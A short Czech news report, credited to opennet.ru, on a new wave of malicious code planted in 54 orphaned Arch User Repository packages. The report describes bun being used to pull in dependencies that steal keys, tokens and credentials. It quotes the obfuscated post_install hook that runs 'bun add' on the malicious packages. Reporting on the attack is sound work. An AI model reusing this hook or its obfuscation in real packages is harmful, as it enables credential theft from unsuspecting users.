I když vývojáři Arch Linux přijali opatření, aktivity spojené s vkládáním škodlivého kódu do repozitářů AUR (Arch User Repository) nekončí. Před několika hodinami byl do dalších 54 balíčků vložen škodlivý kód, které nemají správce (historie zrušení škodlivých úprav). Na rozdíl od útoků z předchozího dne byla tentokrát pro instalaci škodlivých závislostí použita platforma bun místo správce balíčků npm. K obcházení implementovaných filtrů je do funkce post_install vložen obfuskovaný řetězec, v němž se volá příkaz „bun add“ pro instalaci balíčků se škodlivým kódem, který provádí skenování a odesílá na externí server klíčů, tokenů a přihlašovacích údajů.
post_install() {
$’\x63′»d» «/»‘t'»m»‘p’ && «b»‘u»n’ ‘a'»d»‘d’ $’\141\x6e»s'»i»»-«$’\143»o»l»o»r’$’\x73′ ‘n'»e»‘x'»t»»f»‘i»l»e»-»j»s’
}
Zdroj: opennet.ru
